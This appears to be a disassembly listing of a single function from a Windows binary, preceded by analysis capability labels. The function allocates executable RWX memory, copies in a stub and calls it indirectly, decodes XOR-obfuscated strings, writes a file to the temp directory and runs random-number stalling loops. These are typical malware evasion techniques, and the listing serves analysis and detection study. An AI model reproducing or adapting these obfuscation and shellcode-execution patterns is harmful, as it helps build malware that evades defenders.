Function at 0x14020bc00
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1860]
mov eax, 0x1960
call fcn.140272980
sub rsp, rax
movaps xmmword [rsp + 0x1950], xmm6
movaps xmmword [rsp + 0x1940], xmm7
movaps xmmword [rsp + 0x1930], xmm8
movaps xmmword [rsp + 0x1920], xmm9
movaps xmmword [rsp + 0x1910], xmm10
movaps xmmword [rsp + 0x1900], xmm11
movaps xmmword [rsp + 0x18f0], xmm12
mov rax, qword [0x140294040]
xor rax, rsp
mov qword [rbp + 0x17e0], rax
mov r12, rdx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x48], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r15d, 1
mov ecx, r15d
nop
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x14020bcb0
mov dword [rbp + 0x240], 0x270
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6c
ja 0x14020bd1c
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6d
jb 0x14020bd00
shr rax, 0x20
lea r14d, [rax - 0x7ffffc19]
btc r14d, 0x1f
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x14020bd50
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], edi
lea rcx, [rsp + 0x38]
call fcn.140201b40
mov rsi, qword [rsp + 0x38]
add rsi, 0x5f5e100
lea rcx, [rsp + 0x38]
call fcn.140201b40
cmp qword [rax], rsi
jge 0x14020bf16
mov edi, 0x186a0
nop
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020bdea
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020bdd0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020be3a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020be20
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020be8a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020be70
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020beda
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020bec0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r15
jne 0x14020bdb0
jmp 0x14020bd96
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x40]
call fcn.140272764
lea rsi, [0x140000000]
lea rax, [rsi + 0x2817fc]
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rsp + 0x48], 4
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], r8d
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0x48], rax
xor edi, edi
mov qword [rbp + 0xb0], rdi
mov dword [rbp + 0xb8], 4
mov edx, r14d
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
movsd xmm0, qword [str.h___N]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x140281688]
mov edx, 0x2e
mov word [rsp + 0x38], dx
xor word [rsp + 0x3a], 0x48
xor word [rsp + 0x3c], 0x4a
xor word [rsp + 0x3e], 0x4c
xor ax, 0x4e
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
call fcn.14024d960
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov r14d, 7
mov qword [rbp + 0x38], r14
mov word [rbp + 0x20], di
mov dword [rsp + 0x48], 0x14
mov ecx, dword [rbp + 0xb8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14020c066
mov rax, qword [rbp + 0x88]
mov rdx, qword [rax]
test rdx, rdx
je 0x14020c066
mov rax, qword [rbp + 0x68]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0xb0]
cmovb rdx, qword [rbp + 0xb0]
sub rdx, r9
jmp 0x14020c094
test cl, 4
jne 0x14020c0c5
mov rax, qword [rbp + 0x80]
mov rcx, qword [rax]
test rcx, rcx
je 0x14020c0c5
mov rax, qword [rbp + 0x60]
mov r9, qword [rax]
mov rax, qword [rbp + 0x98]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
sar rdx, 1
test r9, r9
je 0x14020c0c5
lea rcx, [rbp + 0x20]
cmp rdx, r14
ja 0x14020c0bf
mov qword [rbp + 0x30], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x20], di
jmp 0x14020c0c5
call fcn.14024f2b0
nop
mov edi, 0xc
mov dword [rsp + 0x30], 0x104
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rax, [rbp + 0x1888]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [rax], 0
xor ecx, ecx
lea r8, [0x14024ded0]
mov rax, qword [0x14029a070]
test rax, rax
je 0x14020c149
xor edx, edx
nop word [rax + rax]
cmp rax, r8
je 0x14020c138
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x29a070]
test rax, rax
jne 0x14020c120
jmp 0x14020c149
mov r9, qword [rsi + rdx*8 + 0x29b050]
test r9, r9
jne 0x14020c22f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
lea r8, [0x14024ded0]
test rax, rax
je 0x14020c20e
mov rax, r8
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020c180
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14029a6d8]
mov qword [rsi + rax*8 + 0x29a070], r8
mov qword [rsi + rax*8 + 0x29b050], r9
inc rax
mov qword [0x14029a6d8], rax
lea r8, [rbp + 0x15d0]
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rbp - 0x40], rbx
lea rax, [rbp + 0x1888]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp + 0x15d0]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x14020c281
lea rdx, [rbp + 0x15d0]
lea rcx, [rbp - 0x20]
call fcn.14024f710
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.14024c1d0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov word [rax], bx
or edi, 2
mov dword [rsp + 0x48], edi
lea rcx, [rbp - 0x20]
call fcn.14024c160
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x14020c300
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x38]
call fcn.140201b40
mov r15, qword [rsp + 0x38]
add r15, 0x5f5e100
mov r13d, 1
nop dword [rax]
lea rcx, [rsp + 0x38]
call fcn.140201b40
cmp qword [rax], r15
jge 0x14020c4d6
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020c3aa
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020c390
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r13d
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020c3fa
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020c3e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020c44a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020c430
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020c49a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020c480
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r13
jne 0x14020c370
jmp 0x14020c350
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x130]
call fcn.140272764
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
lea rcx, [rbp + 0x130]
call fcn.14024bc50
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
cmp qword [rbp + 0x1b8], 0
mov r13, qword [rsp + 0x50]
xorps xmm0, xmm0
je 0x14020d220
movups xmmword [rbp - 0x20], xmm0
xor r15d, r15d
mov ecx, r15d
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], r14
mov word [rbp - 0x20], r15w
mov rdx, r12
cmp qword [r12 + 0x18], 7
jbe 0x14020c57b
mov rdx, qword [r12]
mov r8, rdx
jmp 0x14020c57e
mov r8, r12
mov rbx, rdx
mov rax, qword [r12 + 0x10]
lea rdi, [r8 + rax*2]
cmp rdx, rdi
je 0x14020c63f
mov r12d, 0x22
nop dword [rax]
movzx r9d, word [rbx]
cmp r9w, r12w
je 0x14020c5dc
cmp rcx, r14
jae 0x14020c5d1
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r14, 7
cmova rax, qword [rbp - 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x14020c629
lea rcx, [rbp - 0x20]
call fcn.14024f120
jmp 0x14020c629
mov eax, dword [0x1402820e4]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1402820e8]
mov word [rsp + 0x30], r12w
xor word [rsp + 0x32], 0x48
xor ax, 0x4a
mov word [rsp + 0x34], ax
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14020c610
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.14024a6d0
add rbx, 2
cmp rbx, rdi
je 0x14020c63f
mov r14, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
jmp 0x14020c5a0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r14d, 1
mov ecx, r14d
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x14020c660
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], r15d
lea rcx, [rsp + 0x50]
call fcn.140201b40
mov rsi, qword [rsp + 0x50]
add rsi, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x50]
call fcn.140201b40
cmp qword [rax], rsi
jge 0x14020c836
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020c70a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020c6f0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r14d
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020c75a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020c740
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020c7aa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020c790
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14020c7fa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.14025d840
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14020c7e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r14
jne 0x14020c6d0
jmp 0x14020c6b0
mov eax, dword [rsp + 0x30]
movups xmm0, xmmword [0x140282aa0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140282ab0]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140282ac0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140282ad0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x140282ae0]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x140282af0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140282af8]
mov dword [rbp - 0x48], eax
mov r9d, r15d
mov ebx, dword [0x140294090]
cmp ebx, 2
jl 0x14020ca77
movdqa xmm8, xmmword [0x140284260]
movdqa xmm6, xmmword [0x1402843c0]
movdqa xmm7, xmmword [0x1402843a0]
movdqa xmm9, xmmword [str.ffffiiii]
movdqa xmm10, xmmword [0x1402843d0]
movdqa xmm11, xmmword [str.FFFFFFFF]
lea rcx, [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x14020c8e0
cmp r9d, 0x2e
jge 0x14020cae7
movsxd rax, r9d
lea r10, [rsp + 0x60]
lea r10, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, 0x23
add cx, r9w
add cx, cx
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x14020ca90
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x130]
call fcn.14024d960
movups xmm11, xmmword [0x1402826f0]
movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x140282700]
movq qword [rbp - 0x30], xmm12
mov eax, dword [0x140282708]
mov dword [rbp - 0x28], eax
movzx eax, word [0x14028270c]
mov word [rbp - 0x24], ax
mov r9d, r15d
cmp ebx, 2
jl 0x14020cd8d
movdqa xmm6, xmmword [0x1402843c0]
movdqa xmm7, xmmword [0x1402843a0]
movdqa xmm9, xmmword [str.ffffiiii]
movdqa xmm8, xmmword [0x1402843d0]
movdqa xmm10, xmmword [str.FFFFFFFF]
movdqa xmm5, xmmword [0x140284260]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm8
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x140284280]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x1402842a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, 0x23
add cx, r9w
add cx, cx
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x14020cda0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x130]
call fcn.14024d960
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
